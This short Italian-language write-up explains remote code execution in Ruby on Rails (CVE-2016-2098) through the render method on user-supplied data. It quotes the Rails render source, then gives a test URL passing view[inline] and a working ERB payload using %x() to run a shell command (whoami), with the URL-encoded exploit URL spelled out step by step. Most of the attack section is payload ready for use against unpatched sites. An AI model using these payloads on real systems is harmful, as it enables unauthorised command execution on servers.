
Vulnerabilità di esecuzione di codice remoto in Ruby-on-Rails quando si utilizza render su dati forniti dall'utente.
Vulnerabilità di esecuzione remota di codice in Ruby-on-Rails quando si usa render su dati forniti dall'utente.
Questo problema deriva dall'uso del metodo render su dati forniti dall'utente.
Il metodo render è solitamente usato per renderizzare una pagina da un template, ma il metodo render consente anche agli sviluppatori di renderizzare testo semplice (plaintext) e persino codice inline (inline).
funzione render:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
URL di destinazione:
http://example.com/?view=test
Sfruttamento:
http://example.com/?view[inline]=OK
Se 'OK' viene mostrato nel codice sorgente, l'applicazione web è vulnerabile a CVE-2016-2098.
<%= %x('[CMD]') %>
Possiamo sostituire CMD con il comando che vogliamo venga eseguito.
<%= %x('whoami') %>
Dopo l'URL encoding:
%3C%25=%20%25x(whoami)%20%25%3E
Finale:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E